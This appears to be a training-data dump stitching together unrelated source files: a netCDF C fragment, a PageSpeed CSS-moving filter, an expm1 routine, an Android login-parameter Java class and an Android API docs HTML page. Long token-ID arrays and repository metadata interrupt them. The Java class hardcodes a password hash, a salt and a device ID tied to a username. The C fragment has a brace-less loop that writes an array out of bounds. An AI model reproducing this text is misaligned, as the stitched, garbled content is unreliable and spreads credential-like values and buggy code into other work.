switch(node->sort) {
case _Attribute:
return ((Attribute*)node)->name;
case _Dimension:
return ((Dimension*)node)->name.defined?((Dimension*)node)->name.value:NULL;
case _Variable:
return ((Variable*)node)->name;
case _Structure:
return ((Structure*)node)->name;
case _EnumTypedef:
return ((EnumTypedef*)node)->name;
case _EnumType:
return ((EnumType*)node)->value;
case _Group:
return ((Group*)node)->name;
case _Header:
return "";
default:
return NULL;
}
}
/**************************************************/
/* Map dimension refs to matching decl; if the match sizes
are different, fail.
*/
int
nccr_map_dimensions(NClist* nodes)
{
int ncstat = NC_NOERR;
int i;
NClist* dimdecls = nclistnew();
/* Collect dimension decls */
for(i=0;i<nclistlength(nodes);i++) {
CRnode* node = (CRnode*)nclistget(nodes,i);
if(node->sort == _Dimension && node->flags.isdecl)
nclistpush(dimdecls,(ncelem)node);
}
/* Map dimension refs to matching decl */
for(i=0;i<nclistlength(nodes);i++) {
int j;
Dimension* dim;
CRnode* node = (CRnode*)nclistget(nodes,i);
switch (node->sort) {
case _Dimension:
dim = (Dimension*)node;
for(j=0;j<nclistlength(dimdecls);j++) {
Dimension* decl = (Dimension*)nclistget(dimdecls,j);
if(decl != dim
&& strcmp(decl->node.pathname,dim->node.pathname)==0) {
/* Validate that these are really the same dimension */
if(classifydim(decl) == classifydim(dim)
&& dimsize(decl) == dimsize(dim)) {
node->dimdecl = (Dimension*)decl;
} else {/* Fail */
return THROW(NC_EINVALCOORDS);
goto done;
}
}
}
ASSERT(node->dimdecl != NULL);
break;
default:
break; /* ignore */
}
}
done:
nclistfree(dimdecls);
return ncstat;
}
/**************************************************/
/* Replace all dimension references with their corrsponding
dimension decl
*/
void
nccr_deref_dimensions(NClist* nodes)
{
int i,j;
NClist* replaced = nclistnew();
for(i=0;i<nclistlength(nodes);i++) {
CRnode* node = (CRnode*)nclistget(nodes,i);
size_t count = 0;
Dimension** dimset = NULL;
switch (node->sort) {
case _Variable:
count = ((Variable*)node)->shape.count;
dimset = ((Variable*)node)->shape.values;
break;
case _Structure:
count = ((Structure*)node)->shape.count;
dimset = ((Structure*)node)->shape.values;
break;
default:
break;
}
if(count > 0 && dimset != NULL) {
for(j=0;j<count;j++)
nclistpush(replaced,(ncelem)dimset[j]);
dimset[j] = dimset[j]->node.dimdecl;
}
}
/*Remove the replaced from the nodeset */
for(i=0;i<nclistlength(replaced);i++) {
CRnode* repl = (CRnode*)nclistget(replaced,i);
for(j=0;j<nclistlength(nodes);j++) {
CRnode* node = (CRnode*)nclistget(nodes,j);
if(node == repl) {nclistremove(nodes,j); break;}
}
}
nclistfree(replaced);
}
static int
skiptoheader(bytes_t* packet, size_t* offsetp)
{
int status = NC_NOERR;
unsigned long long vlen;
size_t size,offset;
/* Check the structure of the resulting data */
if(packet->nbytes < (strlen(MAGIC_HEADER) + strlen(MAGIC_HEADER))) {
nclog(NCLOGERR,"Curl data too short: %d\n",packet->nbytes);
status = NC_ECURL;
goto done;
}
if(memcmp(packet->bytes,MAGIC_HEADER,strlen(MAGIC_HEADER)) != 0) {
nclog(NCLOGERR,"MAGIC_HEADER missing\n");
status = NC_ECURL;
goto done;
}
offset = strlen(MAGIC_HEADER);
/* Extract the proposed count as a varint */
vlen = varint_decode(10,packet->bytes+offset,&size);
offset += size;
if(vlen != (packet->nbytes-offset)) {
nclog(NCLOGERR,"Curl data size mismatch\n");
status = NC_ECURL;
goto done;
}
if(offsetp) *offsetp = offset;
done:
return status;
}
| MengbinZhu/pfldp | ropp-7.0/netcdf-4.1.3/libcdmr/nccrproto.c | C | gpl-3.0 | 12,060 | [
30522,
1013,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
100... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
#include "net/instaweb/rewriter/public/css_move_to_head_filter.h"
#include "net/instaweb/rewriter/public/css_tag_scanner.h"
#include "net/instaweb/rewriter/public/rewrite_driver.h"
#include "net/instaweb/rewriter/public/rewrite_options.h"
#include "pagespeed/kernel/base/statistics.h"
#include "pagespeed/kernel/html/html_element.h"
#include "pagespeed/kernel/html/html_name.h"
namespace {
// Names for Statistics variables.
const char kCssElementsMoved[] = "css_elements_moved";
} // namespace
namespace net_instaweb {
CssMoveToHeadFilter::CssMoveToHeadFilter(RewriteDriver* driver)
: CommonFilter(driver),
move_css_to_head_(
driver->options()->Enabled(RewriteOptions::kMoveCssToHead)),
move_css_above_scripts_(
driver->options()->Enabled(RewriteOptions::kMoveCssAboveScripts)) {
Statistics* stats = driver->statistics();
css_elements_moved_ = stats->GetVariable(kCssElementsMoved);
}
CssMoveToHeadFilter::~CssMoveToHeadFilter() {}
void CssMoveToHeadFilter::InitStats(Statistics* statistics) {
statistics->AddVariable(kCssElementsMoved);
}
void CssMoveToHeadFilter::StartDocumentImpl() { move_to_element_ = nullptr; }
void CssMoveToHeadFilter::EndElementImpl(HtmlElement* element) {
HtmlElement::Attribute* href;
const char* media;
if (move_to_element_ == nullptr) {
// We record the first we see, either </head> or <script>. That will be
// the anchor for where to move all styles.
if (move_css_to_head_ && element->keyword() == HtmlName::kHead) {
move_to_element_ = element;
element_is_head_ = true;
} else if (move_css_above_scripts_ &&
element->keyword() == HtmlName::kScript) {
move_to_element_ = element;
element_is_head_ = false;
}
} else if (element->keyword() == HtmlName::kStyle ||
CssTagScanner::ParseCssElement(element, &href, &media)) {
if (noscript_element() != nullptr ||
(element->keyword() == HtmlName::kStyle &&
element->FindAttribute(HtmlName::kScoped) != nullptr)) {
// Do not move anything out of a <noscript> element, and do not move
// <style scoped> elements. These act as a barrier preventing subsequent
// styles from moving to head.
move_to_element_ = nullptr;
} else {
css_elements_moved_->Add(1);
// MoveCurrent* methods will check that that we are allowed to move these
// elements into the approriate places.
if (element_is_head_) {
// Move styles to end of head.
driver()->MoveCurrentInto(move_to_element_);
} else {
// Move styles directly before that first script.
driver()->MoveCurrentBefore(move_to_element_);
}
}
}
}
} // namespace net_instaweb
| pagespeed/mod_pagespeed | net/instaweb/rewriter/css_move_to_head_filter.cc | C++ | apache-2.0 | 3,553 | [
30522,
1013,
1008,
1008,
7000,
2000,
1996,
15895,
4007,
3192,
1006,
2004,
2546,
1007,
2104,
2028,
1008,
2030,
2062,
12130,
6105,
10540,
1012,
2156,
1996,
5060,
5371,
1008,
5500,
2007,
2023,
2147,
2005,
3176,
2592,
1008,
4953,
9385,
6095,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
// accurate implementation of the complex expm1 function
#include <complex>
#include "Rcpp.h"
using namespace std;
complex<double> expm1c(complex<double> z)
{
complex<double> ii(0,1);
return exp(imag(z)*ii) * expm1(real(z)) + ii * sin(imag(z)) - 2 * sin(imag(z)/2) * sin(imag(z)/2);
} | piotrek-orlowski/affineModelR | src/expm1c.cpp | C++ | gpl-3.0 | 290 | [
30522,
1013,
1013,
8321,
7375,
1997,
1996,
3375,
4654,
9737,
2487,
3853,
1001,
2421,
1026,
3375,
1028,
1001,
2421,
1000,
22110,
9397,
1012,
1044,
1000,
2478,
3415,
15327,
2358,
2094,
1025,
3375,
1026,
3313,
1028,
4654,
9737,
2487,
2278,
1... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
package com.vk.libs.appcommontest.gankio.mvp.data.requestbody;
/**
* Created by VK on 2017/2/8.<br/>
* - 登录
*/
public class LoginInfoReqParam {
/*
URL: /user/login.action
param:
{
account: ‘admin’,
password: ‘admin123’
}
*/
// {"j_mobile_mid":"864895022552002","j_pic_code":"4725",
// "j_password":"841e5c1f5a8a9ebc34a723f66affb38787b9364f",
// "j_app_version":"2.4.1_52_20170810","j_os_name":"samsung",
// "j_mobile_type":"ZTE U795","j_os_sdk":"17",
// "j_os_version":"Android4.2.2_JDQ39E","j_username":"leileima","salt":"b208cb62a85edb65d30f99ec3d08c434"}
private String j_mobile_mid = "864895022552002";
private String j_pic_code ;
private String j_password = "841e5c1f5a8a9ebc34a723f66affb38787b9364f";
private String j_app_version ="2.4.1_52_20170810";
private String j_os_name = "samsung";
private String j_mobile_type = "ZTE U795";
private String j_os_sdk = "17";
private String j_os_version = "Android4.2.2_JDQ39E";
private String j_username;
private String salt;
public LoginInfoReqParam(String account,String pwd,String picCode,String salt){
j_username = account;
this.salt = salt;
j_pic_code = picCode;
}
public String getJ_mobile_mid() {
return j_mobile_mid;
}
public void setJ_mobile_mid(String j_mobile_mid) {
this.j_mobile_mid = j_mobile_mid;
}
public String getJ_pic_code() {
return j_pic_code;
}
public void setJ_pic_code(String j_pic_code) {
this.j_pic_code = j_pic_code;
}
public String getJ_password() {
return j_password;
}
public void setJ_password(String j_password) {
this.j_password = j_password;
}
public String getJ_app_version() {
return j_app_version;
}
public void setJ_app_version(String j_app_version) {
this.j_app_version = j_app_version;
}
public String getJ_os_name() {
return j_os_name;
}
public void setJ_os_name(String j_os_name) {
this.j_os_name = j_os_name;
}
public String getJ_mobile_type() {
return j_mobile_type;
}
public void setJ_mobile_type(String j_mobile_type) {
this.j_mobile_type = j_mobile_type;
}
public String getJ_os_sdk() {
return j_os_sdk;
}
public void setJ_os_sdk(String j_os_sdk) {
this.j_os_sdk = j_os_sdk;
}
public String getJ_os_version() {
return j_os_version;
}
public void setJ_os_version(String j_os_version) {
this.j_os_version = j_os_version;
}
public String getJ_username() {
return j_username;
}
public void setJ_username(String j_username) {
this.j_username = j_username;
}
public String getSalt() {
return salt;
}
public void setSalt(String salt) {
this.salt = salt;
}
}
| VK2012/AppCommonFrame | app/src/main/java/com/vk/libs/appcommontest/gankio/mvp/data/requestbody/LoginInfoReqParam.java | Java | gpl-2.0 | 2,960 | [
30522,
7427,
4012,
1012,
1058,
2243,
1012,
5622,
5910,
1012,
10439,
9006,
9629,
4355,
1012,
25957,
3211,
2080,
1012,
12041,
1012,
2951,
1012,
5227,
23684,
1025,
1013,
1008,
1008,
1008,
2580,
2011,
1058,
2243,
2006,
2418,
1013,
1016,
1013,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="viewport" content="width=device-width" />
<link rel="shortcut icon" type="image/x-icon" href="../../../../../../../favicon.ico" />
<title>CircleOptions | Android Developers</title>
<!-- STYLESHEETS -->
<link rel="stylesheet"
href="http://fonts.googleapis.com/css?family=Roboto:regular,medium,thin,italic,mediumitalic,bold" title="roboto">
<link href="../../../../../../../assets/css/default.css" rel="stylesheet" type="text/css">
<!-- FULLSCREEN STYLESHEET -->
<link href="../../../../../../../assets/css/fullscreen.css" rel="stylesheet" class="fullscreen"
type="text/css">
<!-- JAVASCRIPT -->
<script src="http://www.google.com/jsapi" type="text/javascript"></script>
<script src="../../../../../../../assets/js/android_3p-bundle.js" type="text/javascript"></script>
<script type="text/javascript">
var toRoot = "../../../../../../../";
var metaTags = [];
var devsite = false;
</script>
<script src="../../../../../../../assets/js/docs.js" type="text/javascript"></script>
<!-- RESOURCES LIBRARY -->
<script src="http://androiddevdocs-staging.appspot.com/ytblogger_lists_unified.js" type="text/javascript"></script>
<script src="../../../../../../../jd_lists_unified.js" type="text/javascript"></script>
<script src="../../../../../../../assets/js/jd_tag_helpers.js" type="text/javascript"></script>
<link href="../../../../../../../assets/css/resourcecards.css" rel="stylesheet" type="text/css" />
<script src="../../../../../../../assets/js/resourcecards.js" type="text/javascript"></script>
<script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-5831155-1']);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script>
</head>
<body class="gc-documentation
develop" itemscope itemtype="http://schema.org/Article">
<div id="doc-api-level" class="" style="display:none"></div>
<a name="top"></a>
<a name="top"></a>
<!-- Header -->
<div id="header">
<div class="wrap" id="header-wrap">
<div class="col-3 logo">
<a href="../../../../../../../index.html">
<img src="../../../../../../../assets/images/dac_logo.png" width="123" height="25" alt="Android Developers" />
</a>
<div class="btn-quicknav" id="btn-quicknav">
<a href="#" class="arrow-inactive">Quicknav</a>
<a href="#" class="arrow-active">Quicknav</a>
</div>
</div>
<ul class="nav-x col-9">
<li class="design">
<a href="../../../../../../../design/index.html"
zh-tw-lang="設計"
zh-cn-lang="设计"
ru-lang="Проектирование"
ko-lang="디자인"
ja-lang="設計"
es-lang="Diseñar"
>Design</a></li>
<li class="develop"><a href="../../../../../../../develop/index.html"
zh-tw-lang="開發"
zh-cn-lang="开发"
ru-lang="Разработка"
ko-lang="개발"
ja-lang="開発"
es-lang="Desarrollar"
>Develop</a></li>
<li class="distribute last"><a href="../../../../../../../distribute/index.html"
zh-tw-lang="發佈"
zh-cn-lang="分发"
ru-lang="Распространение"
ko-lang="배포"
ja-lang="配布"
es-lang="Distribuir"
>Distribute</a></li>
</ul>
<!-- New Search -->
<div class="menu-container">
<div class="moremenu">
<div id="more-btn"></div>
</div>
<div class="morehover" id="moremenu">
<div class="top"></div>
<div class="mid">
<div class="header">Links</div>
<ul>
<li><a href="https://play.google.com/apps/publish/">Google Play Developer Console</a></li>
<li><a href="http://android-developers.blogspot.com/">Android Developers Blog</a></li>
<li><a href="../../../../../../../about/index.html">About Android</a></li>
</ul>
<div class="header">Android Sites</div>
<ul>
<li><a href="http://www.android.com">Android.com</a></li>
<li class="active"><a>Android Developers</a></li>
<li><a href="http://source.android.com">Android Open Source Project</a></li>
</ul>
<br class="clearfix" />
</div>
<div class="bottom"></div>
</div>
<div class="search" id="search-container">
<div class="search-inner">
<div id="search-btn"></div>
<div class="left"></div>
<form onsubmit="return submit_search()">
<input id="search_autocomplete" type="text" value="" autocomplete="off" name="q"
onfocus="search_focus_changed(this, true)" onblur="search_focus_changed(this, false)"
onkeydown="return search_changed(event, true, '../../../../../../../')"
onkeyup="return search_changed(event, false, '../../../../../../../')" />
</form>
<div class="right"></div>
<a class="close hide">close</a>
<div class="left"></div>
<div class="right"></div>
</div>
</div>
<div class="search_filtered_wrapper reference">
<div class="suggest-card reference no-display">
<ul class="search_filtered">
</ul>
</div>
</div>
<div class="search_filtered_wrapper docs">
<div class="suggest-card dummy no-display"> </div>
<div class="suggest-card develop no-display">
<ul class="search_filtered">
</ul>
<div class="child-card guides no-display">
</div>
<div class="child-card training no-display">
</div>
<div class="child-card samples no-display">
</div>
</div>
<div class="suggest-card design no-display">
<ul class="search_filtered">
</ul>
</div>
<div class="suggest-card distribute no-display">
<ul class="search_filtered">
</ul>
</div>
</div>
</div>
<!-- /New Search>
<!-- Expanded quicknav -->
<div id="quicknav" class="col-9">
<ul>
<li class="design">
<ul>
<li><a href="../../../../../../../design/index.html">Get Started</a></li>
<li><a href="../../../../../../../design/style/index.html">Style</a></li>
<li><a href="../../../../../../../design/patterns/index.html">Patterns</a></li>
<li><a href="../../../../../../../design/building-blocks/index.html">Building Blocks</a></li>
<li><a href="../../../../../../../design/downloads/index.html">Downloads</a></li>
<li><a href="../../../../../../../design/videos/index.html">Videos</a></li>
</ul>
</li>
<li class="develop">
<ul>
<li><a href="../../../../../../../training/index.html"
zh-tw-lang="訓練課程"
zh-cn-lang="培训"
ru-lang="Курсы"
ko-lang="교육"
ja-lang="トレーニング"
es-lang="Capacitación"
>Training</a></li>
<li><a href="../../../../../../../guide/index.html"
zh-tw-lang="API 指南"
zh-cn-lang="API 指南"
ru-lang="Руководства по API"
ko-lang="API 가이드"
ja-lang="API ガイド"
es-lang="Guías de la API"
>API Guides</a></li>
<li><a href="../../../../../../../reference/packages.html"
zh-tw-lang="參考資源"
zh-cn-lang="参考"
ru-lang="Справочник"
ko-lang="참조문서"
ja-lang="リファレンス"
es-lang="Referencia"
>Reference</a></li>
<li><a href="../../../../../../../tools/index.html"
zh-tw-lang="相關工具"
zh-cn-lang="工具"
ru-lang="Инструменты"
ko-lang="도구"
ja-lang="ツール"
es-lang="Herramientas"
>Tools</a>
<ul><li><a href="../../../../../../../sdk/index.html">Get the SDK</a></li></ul>
</li>
<li><a href="../../../../../../../google/index.html">Google Services</a>
</li>
</ul>
</li>
<li class="distribute last">
<ul>
<li><a href="../../../../../../../distribute/index.html">Google Play</a></li>
<li><a href="../../../../../../../distribute/googleplay/publish/index.html">Publishing</a></li>
<li><a href="../../../../../../../distribute/googleplay/promote/index.html">Promoting</a></li>
<li><a href="../../../../../../../distribute/googleplay/quality/index.html">App Quality</a></li>
<li><a href="../../../../../../../distribute/googleplay/spotlight/index.html">Spotlight</a></li>
<li><a href="../../../../../../../distribute/open.html">Open Distribution</a></li>
</ul>
</li>
</ul>
</div>
<!-- /Expanded quicknav -->
</div>
</div>
<!-- /Header -->
<div id="searchResults" class="wrap" style="display:none;">
<h2 id="searchTitle">Results</h2>
<div id="leftSearchControl" class="search-control">Loading...</div>
</div>
<!-- Secondary x-nav -->
<div id="nav-x">
<div class="wrap">
<ul class="nav-x col-9 develop" style="width:100%">
<li class="training"><a href="../../../../../../../training/index.html"
zh-tw-lang="訓練課程"
zh-cn-lang="培训"
ru-lang="Курсы"
ko-lang="교육"
ja-lang="トレーニング"
es-lang="Capacitación"
>Training</a></li>
<li class="guide"><a href="../../../../../../../guide/index.html"
zh-tw-lang="API 指南"
zh-cn-lang="API 指南"
ru-lang="Руководства по API"
ko-lang="API 가이드"
ja-lang="API ガイド"
es-lang="Guías de la API"
>API Guides</a></li>
<li class="reference"><a href="../../../../../../../reference/packages.html"
zh-tw-lang="參考資源"
zh-cn-lang="参考"
ru-lang="Справочник"
ko-lang="참조문서"
ja-lang="リファレンス"
es-lang="Referencia"
>Reference</a></li>
<li class="tools"><a href="../../../../../../../tools/index.html"
zh-tw-lang="相關工具"
zh-cn-lang="工具"
ru-lang="Инструменты"
ko-lang="도구"
ja-lang="ツール"
es-lang="Herramientas"
>Tools</a></li>
<li class="google"><a href="../../../../../../../google/index.html"
>Google Services</a>
</li>
</ul>
</div>
</div>
<!-- /Sendondary x-nav -->
<div class="wrap clearfix" id="body-content">
<div class="col-4" id="side-nav" itemscope itemtype="http://schema.org/SiteNavigationElement">
<div id="devdoc-nav">
<a class="totop" href="#top" data-g-event="left-nav-top">to top</a>
<div id="api-nav-header">
<div id="api-level-toggle">
<label for="apiLevelCheckbox" class="disabled"
title="Select your target API level to dim unavailable APIs">API level: </label>
<div class="select-wrapper">
<select id="apiLevelSelector">
<!-- option elements added by buildApiLevelSelector() -->
</select>
</div>
</div><!-- end toggle -->
<div id="api-nav-title">Android APIs</div>
</div><!-- end nav header -->
<script>
var SINCE_DATA = [ ];
buildApiLevelSelector();
</script>
<div id="swapper">
<div id="nav-panels">
<div id="resize-packages-nav">
<div id="packages-nav" class="scroll-pane">
<ul>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/package-summary.html">com.google.android.gms</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/ads/package-summary.html">com.google.android.gms.ads</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/ads/doubleclick/package-summary.html">com.google.android.gms.ads.doubleclick</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/ads/identifier/package-summary.html">com.google.android.gms.ads.identifier</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/ads/mediation/package-summary.html">com.google.android.gms.ads.mediation</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/ads/mediation/admob/package-summary.html">com.google.android.gms.ads.mediation.admob</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/ads/mediation/customevent/package-summary.html">com.google.android.gms.ads.mediation.customevent</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/ads/search/package-summary.html">com.google.android.gms.ads.search</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/analytics/package-summary.html">com.google.android.gms.analytics</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/appstate/package-summary.html">com.google.android.gms.appstate</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/auth/package-summary.html">com.google.android.gms.auth</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/cast/package-summary.html">com.google.android.gms.cast</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/common/package-summary.html">com.google.android.gms.common</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/common/annotation/package-summary.html">com.google.android.gms.common.annotation</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/common/api/package-summary.html">com.google.android.gms.common.api</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/common/data/package-summary.html">com.google.android.gms.common.data</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/common/images/package-summary.html">com.google.android.gms.common.images</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/drive/package-summary.html">com.google.android.gms.drive</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/drive/events/package-summary.html">com.google.android.gms.drive.events</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/drive/metadata/package-summary.html">com.google.android.gms.drive.metadata</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/drive/query/package-summary.html">com.google.android.gms.drive.query</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/drive/widget/package-summary.html">com.google.android.gms.drive.widget</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/games/package-summary.html">com.google.android.gms.games</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/games/achievement/package-summary.html">com.google.android.gms.games.achievement</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/games/leaderboard/package-summary.html">com.google.android.gms.games.leaderboard</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/games/multiplayer/package-summary.html">com.google.android.gms.games.multiplayer</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/games/multiplayer/realtime/package-summary.html">com.google.android.gms.games.multiplayer.realtime</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/games/multiplayer/turnbased/package-summary.html">com.google.android.gms.games.multiplayer.turnbased</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/games/request/package-summary.html">com.google.android.gms.games.request</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/gcm/package-summary.html">com.google.android.gms.gcm</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/identity/intents/package-summary.html">com.google.android.gms.identity.intents</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/identity/intents/model/package-summary.html">com.google.android.gms.identity.intents.model</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/location/package-summary.html">com.google.android.gms.location</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/maps/package-summary.html">com.google.android.gms.maps</a></li>
<li class="selected api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/maps/model/package-summary.html">com.google.android.gms.maps.model</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/panorama/package-summary.html">com.google.android.gms.panorama</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/plus/package-summary.html">com.google.android.gms.plus</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/plus/model/moments/package-summary.html">com.google.android.gms.plus.model.moments</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/plus/model/people/package-summary.html">com.google.android.gms.plus.model.people</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/tagmanager/package-summary.html">com.google.android.gms.tagmanager</a></li>
<li class="api apilevel-">
<a href="../../../../../../../reference/com/google/android/gms/wallet/package-summary.html">com.google.android.gms.wallet</a></li>
</ul><br/>
</div> <!-- end packages-nav -->
</div> <!-- end resize-packages -->
<div id="classes-nav" class="scroll-pane">
<ul>
<li><h2>Interfaces</h2>
<ul>
<li class="api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/TileProvider.html">TileProvider</a></li>
</ul>
</li>
<li><h2>Classes</h2>
<ul>
<li class="api apilevel-"><a href="../../../../../../../reference/com/google/android/gms/maps/model/BitmapDescriptor.html">BitmapDescriptor</a></li>
